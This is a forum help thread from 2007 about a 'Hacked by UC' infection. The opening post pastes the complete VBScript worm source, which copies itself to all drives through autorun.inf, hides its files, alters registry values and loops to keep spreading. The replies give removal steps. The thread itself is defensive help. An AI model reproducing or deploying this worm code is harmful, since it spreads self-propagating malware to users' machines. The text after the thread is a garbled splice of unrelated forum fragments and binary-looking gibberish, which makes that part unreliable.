C++/VB - Hacked by UC???

Asked By SF
21-Mar-07 04:01 AM
Hi,

I recently visited an internet shop, I downloaded some files, plug my flash
drive in to copy those download files. At home, I plug the flash drive into
my PC and transfering the files. When I start my windows xp the next day, I
cannot double click on the C: drive, it did not work (did not open). I got a
brief display of the hour glass. When I open a web page, I saw on the top a
message displaying the "Hacked by UC".

I found a script below that cause the above problem. Does this a sign of
hacking and how do I set it back to my previous windows setting?


'My name is Slow but sure V0.05
on error resume next
dim mysource,winpath,flashdrive,fs,mf,atr,tf,rg,nt,check,sd
atr = "[autorun]"&vbcrlf&"shellexecute=wscript.exe uc.vbs"
set fs = createobject("Scripting.FileSystemObject")
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text=mf.openastextstream(1,-2)
do while not text.atendofstream
mysource=mysource&text.readline
mysource=mysource & vbcrlf
loop
do
Set winpath = fs.getspecialfolder(0)
set tf = fs.getfile(winpath & "\uc.vbs")
tf.attributes = 32
set tf=fs.createtextfile(winpath & "\uc.vbs",2,true)
tf.write mysource
tf.close
set tf = fs.getfile(winpath & "\uc.vbs")
tf.attributes = 39
for each flashdrive in fs.drives
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and
flashdrive.path <> "A:" then
set tf=fs.getfile(flashdrive.path &"\uc.vbs")
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path &"\uc.vbs",2,true)
tf.write mysource
tf.close
set tf=fs.getfile(flashdrive.path &"\uc.vbs")
tf.attributes =39
set tf =fs.getfile(flashdrive.path &"\autorun.inf")
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &"\autorun.inf",2,true)
tf.write atr
tf.close
set tf =fs.getfile(flashdrive.path &"\autorun.inf")
tf.attributes=39
end if
next
set rg = createobject("WScript.Shell")
rg.regwrite
rg.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet
Explorer\Main\Window Title","Hacked by UC"
rg.regwrite "HKCR\vbsfile\DefaultIcon","shell32.dll,2"
if check <> 1 then
Wscript.sleep 200000
end if
loop while check<>1
set sd = createobject("Wscript.shell")
sd.run winpath&"\explorer.exe /e,/select, "&Wscript.ScriptFullname
Microsoft Word
(1)
UC
(1)
HKEY_CURRENT_USER
(1)
CurrentVersion
(1)
HKEY_LOCAL_MACHINE
(1)
DefaultIcon
(1)
ScriptFullnameThe
(1)
FileSystemObject
(1)
  Paulaner replied...
21-Mar-07 07:00 AM
The first thing I would do is go into regedit and delete this key:

Then delete this one:
Title"

Then delete uc.vbs from your windows folder and your flash drive.
  scott replied...
30-Mar-07 06:11 PM
it keeps copying itself. its also in your startup and your shell so upon double clicking C: it will copy itself once more. Ive tried deleting off flash drive, c drive, even using command prompts, ive tried deleting registry keys and restarting in command prompt..i will try to restart in safe mode now
  Done replied...
31-Mar-07 12:37 AM
Boot in safe mode, Remove (from) C:\autorun.inf, delete Registry\Software\Windows\CurrentVersion\Run\uc key, delete HKEY_CURRENT_USER\Software\Microsoft\Internet

Explorer\Main\Window Title key. Reboot.
  Ai Chung Chong replied...
31-Mar-07 02:24 PM
To completely remove it from your computer, restart the computer to Safe Mode (do not try to access any drive using Windows Explorer before you complete following steps):



- Go to Task Manager (Press Ctrl+Alt+del), make sure there are no process with Image Name = "wscript.exe". End the process if it is running.

- Go to command prompt, type following command:

del %systemroot%\uc.vbs

For each of the drive available on the computer, type following command in command prompt (replace <drive_name> with the drive letter):

attrib -h -s -r <drive_name>:\autorun.inf

attrib -h -s -r <drive_name>:\uc.vbs

del <drive_name>:\autorun.inf

del <drive_name>:\uc.vbs

- Remove following registry key:

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\UC

HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title

HKCR\vbsfile\DefaultIcon





To save yourself from similar incident again, you might want to take note of following point:



- try to use only account without admin privilege to logon to your computer and use runas to execute task that require administrator privilege)



- disable autorun on your computer (this will resulted in audio/video will not automatically play when you insert a CD/DVD/removable drive ). You can refer to following article for how to disable autorun: http://www.annoyances.org/exec/show/article03-018.
  julia replied...
02-Apr-07 02:02 PM
i tried the abovementioned techniques for deleting this virus, and kept coming up with "file not found" when i typed commands into the command prompt.  any suggestions?
  Paul Hatch replied...
15-Oct-07 04:39 PM
Hi Julia,

I just wanted to let you know that I figured out a solution that worked for me; that is to get double-click access to my drives and get rid of 'Hacked by UC' in the IE title bar. Anyway, here are the steps I followed that got the problem fixed on my computer. However, these instructions are kind of long, so it might take awhile to get through all the steps.



One last thing before I get into the instructions to fix the problem: You might want to save this page to your hard drive, to your My Documents folder. The reason I say this is that if you have the page saved to your hard drive you will be able to view it while you are in safe-mode. Also, if you have a word processing program, such as Microsoft Word, you can copy this post and paste it into a document(and save to the My Documents folder)and that should make it a bit easier to locate this post, than if you use your web browser and open the webpage, although you can do either. (Just anything to view these instructions in safe-mode - they're quite lengthy) Well, I hope my instructions help you get that nasty problem fixed - I wish you luck!

---------------------------------------------------



If you see ‘Hacked by UC’ in the title bar of Internet Explorer, you may have noticed that you cannot open the drives in Windows Explorer by double-clicking on the drives.



If you are experiencing this problem, and you need immediate access to a drive, you can safely open it  by right-clicking on the drive you want to open, and then click Open.



The reason I say ‘safely’ is that if you double-click a drive to open it, and it doesn’t open, it runs a script in the root of that drive called ‘uc.vbs’, which is referenced in the autorun.inf file.



Now, let’s proceed to fix the problem:

(Note: Press Enter after each line, and do not type the punctuation)



1.	Restart the computer and go into safe-mode.

2.	Press Ctrl+Alt+Del to bring up the Windows   Task Manager.

3.	Click the Processes tab. Look for a process called wscript.exe, and terminate it if it’s running. There may be more than one instance of this process so be sure you terminate all of them if there’s more than one.

4.	Now you need to show the hidden files and folders, if they’re not already shown.



To do this follow these steps:

•	Open My Computer

•	Go Tools | Folder Options and click the View tab

•	Click the radio button Show Hidden Files and Folders

•	Scroll down if necessary and find the check box Hide Protected Operating System Files, and if you see a check mark remove it



5.    Open the Command Prompt

6.    Type ‘del %systemroot%\uc.vbs’. Don’t worry if you get a ‘File not found’              error

7.    Go to the root of  the C drive and  type ‘attrib –r –h –s C:\uc.vbs’

8.    Type del uc.vbs.

9.    Type attrib –r –h –s C:\autorun.inf

10.   Type del autorun.inf



Repeat steps 6 through 9 for all hard drives or hard drive partitions that you’re having trouble with, and replace C with the appropriate drive letter, and remember to press Enter after every line.



Now, Go to the Start menu, click Run, type ‘regedit’ and then click OK.



This takes you into the Registry Editor. What you’re going to do here is remove the following values from the registry:





HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\UC



HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title

HKCR\vbsfile\DefaultIcon



HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\UC



HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window

Title



When you’re finished deleting the above registry values navigate to the top of the registry, and then go Edit | Find, and then type ‘uc.vbs’. When you’re finished click Find Now.



Furthermore, don’t delete the string value itself – Here’s what I recommend:  open the string value(which is in the right pane)  and then delete everything in it, and then click OK. Press F3 when you’re ready to go to the next occurrence.



Keep doing this until you have emptied all the string values containing references to ‘uc.vbs’. When you have finished going through the whole registry, you’ll want to be sure you haven’t missed any occurrences.



Navigate back to the top of the registry and click on My Computer to highlight it. You want to be sure you’re searching the whole registry.



Now Go to the edit menu and click Find. In the text box make sure you see uc.vbs, and then click Find Next. What we’re doing is a sweep of the entire registry to make sure we have deleted every reference to uc.vbs. I’m not certain that it’s safe to delete the string value itself because I haven’t tested it, so we’re staying on the safe side.



If you come across any string value with this filename, open it, delete the contents of the string value. You can do this quickly by placing the insertion point at the beginning of the text field and then pressing Shift+End. This selects everything in the string value. Press Delete, then click OK. After you have done this press F3 to see if there are any more of these references.



After you have come to the end of the registry, navigate back to the top of the registry and then do another search. What you’re after is to go through the whole registry without finding any occurrences of uc.vbs.



When you’re finished, restart the computer.



After you’ve restarted the computer open Windows Explorer (My Computer) and then double-click on the icon for your hard drive. You should now be in your hard drive’s directory.



Well, you’re all finished! That was quite a journey, but if you did everything correctly I believe that you will again have double-click access to your drives as well as be rid of  ‘Hacked by UC’ in the IE title bar.
  Trevor Roodt replied to Paul Hatch
07-Oct-10 09:41 AM
Hi all



I hope someone can help me please. I am having a similar problem, however it states Hacked by ( my Computor name) in the IE title bar. I have gong through these steps and have not been able to find a solution to this.



Many thanks



Trevor
Create New Account
help
outer) call into the recursive function. A little Googling turns up the following: - -- -- -- -- -- -- -- -- -- - http: / / support.microsoft.com / kb / 183009 You can list Windows, including Child Windows, using the GetWindow API. However exist between two or more Windows? Does any one have any additional information to augment Microsoft's advice that an application that calls GetWindow to perform this task risks being caught in an infinite loop? Does Microsoft simply mean that recursion is inherently risky? Or is there something specific to GetWindow which that method turned out to be a lot easier. (I'm taking the doc's word for it that EnumChildWindows has its own built-in stability.) That's news to me windows that could be wrapped in the convenience of VB by "anchoring" them on a UC. (I seem to remember a group discussion some time back about this, so I went
are the same as "vs2003" * ** * * ** * What is a "crash"? I have no idea what that word means. What probably happens is you get an assert failure, which most definitely is *NOT the failure, the location, and the backtrace to the source all matter. Without these, the word "crash" is a nonsense phrase and is content-free. * ** * * ** * Guess what? "vs2003" is *not* the D<C5:SB$ZH@&S$Z^"E '.BU2ZYA&ZZW = , C]7J = J3NW<^[ M^;3, ;:T1OR"UC = &NI&GP:YWT6[DT2 \ / ^E_WJ \ P_K#[8?]^Y8;W[NX4MJOBL@ MN<X7EK8AWIM: = " / I3]%_P":E92 FV6_ MOXUE = = E7J?IKZ_0S_L([ \ SIEN!C89<?U0EY> Q^[> UYW / 92U]-6^]W^@?Z?V; MU / UC^8ZA]B / O@GYM.(?XG#_WZ / N64#^;UH[@_-> GS?R]&3_-Y&Q1TFBOKE.+ M5D75 W()_TK_ \ `JBG6> / A \ +6 \ (X.+K = ($E:PL%V4+;' / %5 M&.T / NL(F`3M:UC / S['_FHC<"K(LQZL&XW67N&lt;TML8*RS;'N?MLN]FWW(F0!K ML@0D1 M> S^HL]))&, :OQ) / ^, B4C*KZ"OL4DDDG+5))))*4DDDDI22222E))))*4DDDD MI22222E))))*4DDDDIH = 8_F*O^.;^1RHJ]UC^8J_XYOY'*BK :V?12222 ME6*22224I))))2DDDDE*22224I))))2DDDDE*22224I))))2DDDDE*22224I M))))2DDDDE*22224I U:YSR]C:Z_2]&YV^U[*?U?(_2_ MH+5:S6 / ^TY7V> W%I = <'UVWN%K;-K0[UC:YS#BTM?]GN_3-].M_HW^_ \ `0VHG M+TXA^EK_`'> _ _ / 1'E[ / ` = > #3^]^[_6_F_ \ `'<9O3 you can specify the handle of the DLL containing the image to load: http: / / msdn.microsoft.com / en-us / library / ms648045.aspx Giovanni Thanks G, that was a great explanation. ;) What
9H]CB2V<K`"OZ), +J1:';LW%[W3I#:W#MV;NVM1]Y = ]+3TJ6L5CYC M / L%> LNIY$WORD[.<F:A; = AJBJXW> 2P-?KI&Y)!X`<P810_&7&lt;C_P"T9)B[Y) MXKE1S P_1> C_7 \ 0R66:SD(H49"TKOYA?HXK5- / X: MX+CEK, J; \ O9K"-G^W:VWQBU.UC"&O&D!]2P'*K61MRV3DR6%H5O*P+Q_[ = , ; MV5VTFN?3$2&[#<R41?CO*#^$G"FQ<[E)8F DU2TO8W = N"YY30', ?C:R M(O:$LGDO*XW7[?<S1_'2 = $Q;2Y0[<I]X \ UC = X1!!YH3NRL5 / IR4 \ "#$+Y)ZN MCSRW@NV%W._4 / R*(3 \ 5M)R:]"#KM'2:LL6I2 TKM?- = < \ Y1 = SUB;HM$7> "_<OF)], $MGE78P'BJO'> ?G&U)W;@LKJ MB9> :L2%&&UC?9U / SKD, X9XA%(1;?R6 = [$H!- / %YZHGFJR<7G_PT.<E5S!XZH MB> 9)1[_#3MM be reverted to launching user after that. I'm cross posting this reply to the microsoft.public.inetserver.iis and microsoft.public.inetserver.iis.security groups as well, to see if any help comes from there where you're getting the password from and just use what I've posted above. Microsoft provides a utility called dumpbin.exe that might be of help to you with those
Trying to open a Microsoft Office Word doc C++ / VB Says, "file in a newer version of Microsoft Word". The extension is .docx. I have Word and Vista Home Premium system. How can I access this file that was attached to an Email? Thank you for your help. VB Vista Compatibility Discussions Microsoft Word (1) Word 2007 (1) Word 2003 (1) Office (1) Vista (1) Word (1) VB (1) Fagan (1